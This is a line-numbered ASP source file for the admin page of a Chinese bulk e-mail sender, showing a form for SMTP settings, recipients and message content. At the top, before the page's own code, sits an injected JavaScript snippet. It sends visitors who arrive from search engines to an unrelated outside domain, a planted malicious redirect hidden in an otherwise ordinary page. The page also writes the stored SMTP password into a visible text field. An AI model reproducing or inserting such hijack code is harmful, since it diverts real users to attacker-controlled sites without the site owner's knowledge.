d:\wwwroot\wuchunhua\mail\fa.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("gly")="" then response.redirect "admin.asp"
003:
dim rs,sql
004:
set rs=conn.execute("update email set fs=0")
005:
sql="select fwq,passname,password,fa,faemail,yjzj from admin"
006:
set rs=conn.execute(sql)
%
>
007:
<html>
008:
<head>
009:
<title>邮件群发</title>
010:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
011:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
012:
</head>
013:
<body bgcolor="#FFFFFF" background="pic/bg.gif">
014:
<center>
015:
<table width="450" border="1" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#9966FF">
016:
<form name="fas" method="post" action="send.asp" >
017:
<tr bgcolor="#EBEBEB">
018:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件服务器</td>
019:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
020:
<input type="text" name="fwq" size="35" maxlength="20" value="
<%
=rs("fwq")
%
>">
021:
</td>
022:
</tr>
023:
<tr bgcolor="#EBEBEB">
024:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">登录名</td>
025:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
026:
<input type="text" name="passname" size="24" value="
<%
=rs("passname")
%
>"> 如果不需smtp认证请留空
027:
</td>
028:
</tr>
029:
<tr bgcolor="#EBEBEB">
030:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">登录密码</td>
031:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
032:
<input type="text" name="password" size="24" value="
<%
=rs("password")
%
>"> 如果不需smtp认证请留空</td>
033:
</tr>
034:
<tr bgcolor="#EBEBEB">
035:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">收件人</td>
036:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
037:
<input type="text" name="name" size="24"> 如果为空则为群发</td>
038:
</tr>
039:
<tr bgcolor="#EBEBEB">
040:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件标题</td>
041:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
042:
<input type="text" name="title" size="35">
043:
</td>
044:
</tr>
045:
<tr bgcolor="#EBEBEB">
046:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件格式</td>
047:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
048:
<input type="radio" name="radiobutton" value="text" checked>文本邮件
049:
<input type="radio" name="radiobutton" value="html">HTML邮件
050:
</td>
051:
</tr>
052:
<tr bgcolor="#EBEBEB">
053:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件内容</td>
054:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
055:
<textarea name="txt" cols="40" rows="10"></textarea>
056:
</td>
057:
</tr>
058:
<tr bgcolor="#EBEBEB">
059:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件性质</td>
060:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
061:
<input type="radio" name="hjf" value="1">加急
062:
<input type="radio" name="hjf" value="3" checked>普通
063:
<input type="radio" name="hjf" value="5">低级
064:
</td>
065:
</tr>
066:
<tr bgcolor="#EBEBEB">
067:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">邮件附件</td>
068:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
069:
<iframe name="ad" frameborder=0 width=100% height=20 scrolling=no src=upload.asp></iframe>
070:
<input name="fujian" type="hidden" size="35">
071:
</td>
072:
</tr>
073:
<tr bgcolor="#EBEBEB">
074:
<td width="84" bgcolor="#AFD7FF" height="25" align="center">发件人</td>
075:
<td width="360" bgcolor="#AFD7FF" colspan="2" height="25">
076:
<input type="text" name="fa" size="35" value="
<%
=rs("fa")
%
>">
077:
</td>
078:
</tr>
079:
<tr bgcolor="#AFD7FF">
080:
<td width="84" height="25" align="center">发信人邮箱</td>
081:
<td width="180" height="25">
082:
<input type="text" name="faemail" size="26" value="
<%
=rs("faemail")
%
>">
083:
<input name="yjzj" type="hidden" value="
<%
=rs("yjzj")
%
>"></td>
084:
<td width="180" height="25">有些服务器的smtp有检查发信人邮箱地址，因此最好填写你在该邮件服务器的邮箱地址</td>
085:
</tr>
086:
<tr bgcolor="#9999FF">
087:
<td colspan="3">
088:
<div align="center">
089:
<input type="submit" name="Submit" value="发送">
090:
<input type="reset" name="Submit2" value="取消">
091:
</div> </td>
092:
</tr>
093:
</form>
094:
</table>
095:
</center>
096:
<div align="center">
<!--#include file="pic/foot.htm"-->
</div>
097:
</body>
098:
</html>
099:
<%
100:
set rs=nothing
101:
call closeDB()
%
>
102:
103: